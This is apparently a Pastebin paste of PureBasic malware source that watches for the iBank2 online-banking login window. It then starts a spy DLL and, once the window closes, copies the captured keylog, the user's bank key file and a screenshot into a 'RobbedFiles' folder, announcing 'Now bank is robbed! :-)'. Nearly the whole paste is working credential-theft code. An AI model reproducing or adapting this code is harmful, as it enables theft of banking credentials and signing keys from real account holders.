CovetousEyes

main.pb

Jan 24th, 2013
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Global idThrIBank = 0
  2.  
  3. Procedure.l EnumWinIBank(hWnd.l, lParam.l)
  4.   Protected hWndIBank.l = 0
  5.   sTitle.s = Space(100)
  6.   sClass.s = Space(100)
  7.   GetWindowText_(hWnd, sTitle, 100)
  8.   GetClassName_(hWnd, sClass, 100)
  9.   idWndIBank = GetWindowLong_(hWnd, #GWLP_ID)
  10.   If (sClass = "SunAwtFrame") And ((sTitle = "Вход в систему") Or (sTitle = "Вхiд в систему") Or (sTitle = "Вхід у систему") Or (sTitle = "Welcome") Or (sTitle = "Login"))
  11.     idThrIBank = GetWindowThreadProcessId_ (hWnd, #Null)
  12.     ProcedureReturn #False
  13.   EndIf
  14.   ProcedureReturn #True
  15. EndProcedure
  16.  
  17. Procedure SearchThread(*Val)
  18.   Protected YetShowed.b = #False, pPath, hWndIBank
  19.   Repeat
  20.     If idThrIBank = 0
  21.       EnumWindows_(@EnumWinIBank(), 0)
  22.       If (idThrIBank <> 0)
  23.        MessageBox_(0, "I`m found running iBank2`s login window", "Info", #MB_ICONINFORMATION)
  24.        CallFunction(0, "StartSpy", idThrIBank)
  25.       EndIf
  26.     Else
  27.       iState = CallFunction(0, "GetSpyState")
  28.       If iState = 2
  29.         MessageBox_(0, "Now user have closing iBank2`s login window,"+Chr(10)+Chr(13)+"but it don`t use file key", "Info", #MB_ICONERROR)
  30.         End
  31.       ElseIf iState = 3
  32.         MessageBox_(0, "Now user have closing iBank2`s login window."+Chr(10)+Chr(13)+"Now bank is robbed! :-)", "Info", #MB_ICONEXCLAMATION)
  33.         pPath=CallFunction(0, "GetSpySessionPath")
  34.         PathToSession$=PeekS(pPath, -1, #PB_Unicode)
  35.         CopyFile(PathToSession$+".log", ".\RobbedFiles\keylog.txt")
  36.         CopyFile(PathToSession$+".key", ".\RobbedFiles\bankkey.key")
  37.         CopyFile(PathToSession$+".jpg", ".\RobbedFiles\screenshot.jpg")
  38.         RunProgram("RobbedFiles")
  39.         End
  40.       EndIf
  41.     EndIf
  42.     Sleep_(500)
  43.   ForEver
  44. EndProcedure
  45.  
  46. OpenLibrary (0, "SPY.DLL")
  47. CatchImage(0, ?Icon)
  48. OpenWindow (0, 0, 0, 40, 60, "Robbing iBank :-)", #PB_Window_ScreenCentered)
  49. HideWindow(0, 1)
  50. AddSysTrayIcon(0, WindowID(0), ImageID(0))
  51. If CreatePopupMenu(0)
  52.   MenuItem(0, "Exit")
  53. EndIf
  54. CreateThread(@SearchThread(), 0)
  55.  
  56. Repeat
  57.   Event = WaitWindowEvent()
  58.   If Event = #PB_Event_SysTray
  59.     If EventType() = #PB_EventType_LeftClick
  60.       DisplayPopupMenu(0, WindowID(0))
  61.     EndIf
  62.   ElseIf Event = #PB_Event_Menu
  63.     If EventMenu() = 0
  64.       End
  65.     EndIf
  66.   EndIf
  67. Until Event = #PB_Event_CloseWindow
  68.  
  69.  
  70. DataSection
  71.   Icon:
  72.   IncludeBinary "icon.ico"
  73. EndDataSection
  74. ; IDE Options = PureBasic 4.40 (Windows - x86)
  75. ; CursorPosition = 49
  76. ; Folding = -
  77. ; UseMainFile = main.pb
  78. ; CompileSourceDirectory
Advertisement
Add Comment
Please, Sign In to add comment